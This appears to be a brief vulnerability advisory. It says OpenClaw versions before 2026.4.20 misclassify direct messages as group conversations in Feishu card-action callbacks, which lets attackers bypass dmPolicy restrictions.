Description

OpenClaw before 2026.4.20 contains a message classification vulnerability in Feishu card-action callbacks that misclassifies direct messages as group conversations. Attackers can bypass dmPolicy enforcement by triggering card-action flows in direct message conversations that should have been blocked by restrictive policies.
